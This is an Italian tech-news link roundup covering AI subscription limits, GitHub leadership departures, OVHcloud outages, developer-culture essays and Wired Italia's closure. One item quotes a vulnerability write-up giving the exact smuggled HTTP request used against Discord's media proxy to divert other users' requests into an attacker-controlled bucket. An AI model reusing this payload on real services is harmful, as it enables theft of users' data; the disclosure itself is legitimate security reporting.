È di gennaio quindi forse non aggiornato ma questi sono i limiti presunti dei piani in abbonamento di Claude:
Il costo è molto più basso rispetto a usare le API direttamente, anche se va considerato che anche le API hanno probabilmente un grosso margine quindi non è chiaro se il tutto sia sostenibile per Anthropic.
Elizabeth Pemmerl, GitHub’s chief revenue officer, also announced her resignation last week, according to sources at GitHub. “After eleven years on this amazing journey, I have decided it’s the right time for the next chapter,” said Pemmerl in a message to GitHub employees, seen by Notepad. Microsoft has appointed Dan Stein, former head of software and digital platforms for Microsoft Customer and Partner Solutions (MCAPS), as the new chief revenue officer for GitHub. It’s the latest sign of Microsoft’s ownership influence on GitHub.
“There’s basically no more GitHub at all anymore,” one GitHub employee tells me. “It’s all Microsoft, and the company is collapsing, both in outages that are reallllly bad and have torched the company reputation… and in an exodus of leadership.”
Tom Warren in Inside Microsoft’s wave of executive departures
Chi poteva farlo se non Meta?
And when an employee asked if it’s possible to opt out, Meta’s CTO replied that it is not: every US-based engineer will have their keystrokes logged, mouse movements captured, and work tracked.
L'esperienza di Lettermint.co con OVHcloud:
Some incidents were acknowledged late. Some were never clearly acknowledged. Some only appeared on the status page after customers had already been impacted for hours (or even days!).
A few examples (these are the ones we shared with the OVH team):
- Feb 23, 2025: unable to create nodes for a full day (Keystone errors, 500s).
- Mar 26, 2025: node timeouts in GRA11, never properly acknowledged.
- Apr 8, 2025: BYOIP issue where Microsoft services were unreachable.
- Apr 11, 2025: major production incident, multiple nodes down. Support replied 11 days later.
- Apr–May 2025: recurring DNS issues (even domains like Stripe intermittently failed to resolve).
- Aug 27, 2025: unannounced cluster updates → replication issues → data corruption → restore from backup.
- Sep 2, 2025: ~2.5 hours downtime across the entire region due to Keystone (an OpenStack service they use).
- Sep 10, 2025: another outage (~30+ minutes).
- Oct 2025: CEPH/block storage instability and Kubernetes API issues.
- Nov 2025 onward (3-AZ Paris): Object Storage problems begin.
- Dec 2025 – Apr 2026: repeated S3 timeouts and 503s for months.
- Feb 5, 2026: OVHcloud restarted all nodes at once (PDB ignored).
- Mar 5, 2026: similar issue again.
La mia esperienza media con Codex, che lo rende per me inusabile:
Un tizio ha studiato l'over-editing dei modelli linguistici e in effetti i modelli GPT sono quelli che tendono ad aggiungere più complessità.
C'è un nuovo modello open di OpenAI:
Privacy Filter is a small model with frontier personal data detection capability. It is designed for high-throughput privacy workflows, and is able to perform context-aware detection of PII in unstructured text. It can run locally, which means that PII can be masked or redacted without leaving your machine. It processes long inputs efficiently, making redaction decisions in a quick, single pass.
Dimensione da 1,5 miliardi di parametri di cui 50 milioni attivi. Disponibile su Hugging Face con licenza Apache 2.0 (quindi anche uso commerciale).
"Autorizzazione all'ingresso per cure in Italia di cittadini extracomunitari" e la procedura richiede di inviare una PEC.
E poi: il servizio è gratuito, ma il pagamento va fatto con PagoPA.
Straordinario.
Interessante startup USA, Impulse, che ha sviluppato un piano a induzione con manopole magnetiche e batteria, per poter raggiungere potenze fino a 10 kW (l'acqua bolle in 40 secondi).
Costa 7.000 dollari. La tecnologia è fornita in licenza anche ad altri produttori. Il primo fuori dagli USA è italiano: BS Service Group produrrà in Italia il modello Eximius con tecnologia Impulse.
Imagine if this is as good as AI gets. If this is where it stops, you'd still have models that can almost code a web browser, almost code a compiler—and can even present a pretty cool demo if allowed to take a few shortcuts. You'd still get models that can kinda-sorta simulate worlds and write kinda-sorta engaging stories. You'd still get self-driving cars that almost work, except when they don't. You get AI that can make you like 90% of a thing!
90% is a lot. Will you care about the last 10%?
I'm terrified that you won't.
I'm terrified of the good enough to ship—and I'm terrified of nobody else caring. I'm less afraid of AI agents writing apps that they will never experience than I am of the AI herders who won't care enough to actually learn what they ship. And I sure as hell am afraid of the people who will experience the slop and will be fine with it.
[...]
I'm terrified that our craft will die, and nobody will even care to mourn it.
Dima Konev, software engineer, in (AI) Slop Terrifies Me.
Un tizio ha installato tutte le estensioni esistenti per Firefox, circa 84mila. Funziona! Ma richiede 32 GB di RAM e un po' di pazienza (la pagina estensioni richiede 6 ore per caricarsi).
Il modo di parlare fastidiossissimo e innaturale delle AI è diventato misurabile:
Ci laviamo la coscienza con la modulistica per non prenderci la responsabilità di cambiare davvero.
HTTP desync in Discord's media proxy. Vulnerabilità interessante nel proxy di Discord verso il bucket Google Cloud Storage:
I sent the following request to the media proxy:
GET /attachments/%20HTTP/1.1%0AHost:x%0A%0APUT%20/request.txt%20HTTP/1.1%0AHost:myevilbucket.storage.googleapis.com%0AContent-Length:250%0A%0A HTTP/1.1 Host: media.discordapp.netWhich caused the backend to send out these two requests to GCP:
GET /attachments/ HTTP/1.1 Host:xPUT /request.txt HTTP/1.1 Host:myevilbucket.storage.googleapis.com Content-Length:250 HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.6; rv:92.0) Gecko/20100101 Firefox/92.0 Host: discord.storage.googleapis.comThe PUT request expected 250 bytes of data but only ~150 bytes were given, meaning that the deficit would be eaten from whatever gets written to the stream next, i.e., the next borrower’s request.
And sure enough when I checked a moment later, my request.txt had an attachment link in it I’ve never seen before: [...]
It feels to me that a good part of the industry is using token count numbers similarly to how the lines-of-code-produced metric was used years ago. There was a time when the number of lines written daily or monthly was an important metric in programmer productivity, until it became clear that it’s a terrible thing to focus on. A lines-of-code metric can easily be gamed by writing boilerplate or throwaway code. Also, the best developers are not necessarily those who write the most code; they’re the ones who solve hard problems for the business quickly and reliably with – or without – code!
Similarly, the number of tokens a dev generates can easily be gamed, and if this metric is measured then devs will indeed game it. But doing so generates a massive accompanying AI bill!
Gergely Orosz in The Pulse: ‘Tokenmaxxing’ as a weird new trend.
The Human Infrastructure: How Netflix Built the Operations Layer Behind Live at Scale. Un po' di backstage della nuova linea di business di Netflix: gli eventi live.
Duolingo's Kubernetes Leap. Non l'ho visto, ma qui Duolingo spiega la migrazione da AWS ECS a EKS.
To give you an idea of the scale that we're looking at, Duolingo currently has over 128 million monthly active users, and we have over 250 courses that you can learn on the app. [...] On the engineering side, we have over 400 engineers and more than 500 backend services, just to give you an idea of the scale of this migration that we're going to be looking at today.
Previously, the 500-plus backend services that I mentioned at the beginning are running on AWS ECS. We have some workloads that are running on different infrastructure, but for the mass majority, they're on ECS. That's what I'm going to be focusing on. We're going to be moving from ECS to EKS. ECS is AWS's container orchestration solution. It's a managed solution. It's very simple and straightforward to use. We've been actually super happy with ECS over the past year, and it served our needs very well. Now as we've grown to a much bigger scale, as I mentioned, Kubernetes just offers a much more feature-rich ecosystem and open-source platform, as well as specific features that ECS does not give us.
Healthchecks.io Now Uses Self-hosted Object Storage. Il maestro del self-hosting ora self-hosta anche uno storage S3-compatible, basato sul file system:
Versity S3 Gateway turns your local filesystem into an S3 server. An S3 PutObject operation creates a regular file on the filesystem, an S3 GetObject operation reads a regular file from the filesystem, and an S3 DeleteObject operation deletes a file from the filesystem. It does not need a separate database for metadata storage. You can use any backup tool to take backups. The upgrade procedure is: replace a single binary and restart a systemd service. It is written in Go, and is being actively developed. The one bug I found and reported was fixed in just a few days.
Il tradeoff è l'assenza di HA e replicazione:
With this setup, if both drives on the object storage server fail at the same time, the system could lose up to 2 hours of not yet backed-up ping request bodies. This can be improved, as usual, with the cost of extra complexity.
E costa di più:
The costs have increased: renting an additional dedicated server costs more than storing ~100GB at a managed object storage service. But the improved performance and reliability are worth it.
Oh, chiude Wired Italia. Unprofitable, a differenza delle altre edizioni in altri Paesi dove la strategia si è spostata dall'occuparsi solo di tecnologia a temi più politici, con successo di abbonamenti.
Aggiornamento: non lo sapevano nemmeno loro. Dal Post:
Nel 2015 la redazione era già stata dimezzata, da 12 a 6 giornalisti, sempre per la necessità di ridurre i costi e rimettere in ordine i conti: anche all’epoca le pubblicazioni erano state interrotte prima di riprendere a cadenza trimestrale dopo la riorganizzazione della redazione. Oggi la redazione è composta dal direttore, da tre giornalisti, cinque grafici, tre collaboratori fissi e molti giornalisti collaboratori occasionali.
Fonti di Condé Nast Italia che hanno chiesto di rimanere anonime hanno detto che l’azienda ha comunicato la chiusura alla redazione dieci minuti prima di pubblicare il comunicato online. Sostengono inoltre che i dati citati dall’azienda non abbiano fondamento e che nelle ultime settimane non ci fosse stata nessuna avvisaglia di possibili ridimensionamenti o addirittura rischi di chiusura. L’azienda non ha comunicato quando si interromperanno le pubblicazioni né come intende gestire l’eventuale uscita o il ricollocamento dei giornalisti e dei grafici: per ora rallenterà la frequenza di pubblicazione degli articoli sul sito internet, ma non è ancora chiaro da quando non sarà più aggiornato.
Oltre al sito e alla rivista, negli ultimi anni Wired Italia ha organizzato diversi festival come il Wired Next Fest. Lynch ha detto che Wired continuerà a organizzare eventi in Europa, gestiti dal Regno Unito, ma anche in questo caso non è ancora chiaro come.
Penso uno dei design più confusionari che ho mai visto in un'app ("TO Move"):
I tre tipi di software engineer secondo The Pragmatic Engineer:
Builders: those who care about quality, good architecture, following good coding practices, and who talk about the craft of software engineering, etc.
Shippers: those who primarily focus on outcomes for a product, features, testing, and experimenting with users. A fair number of leaders, managers, and engineers who were more hands-off with coding before AI tools are in this category, as are product engineers.
Coasters: engineers who are not considered particularly good or great engineers, but they get the work done. They often do this without much taste or concern for quality, and seem to be mostly coasting along and doing what they’re told.
Con l'AI, queste categorie restano ma con diversi livelli di entusiasmo e pro/contro. Il resto nell'articolo.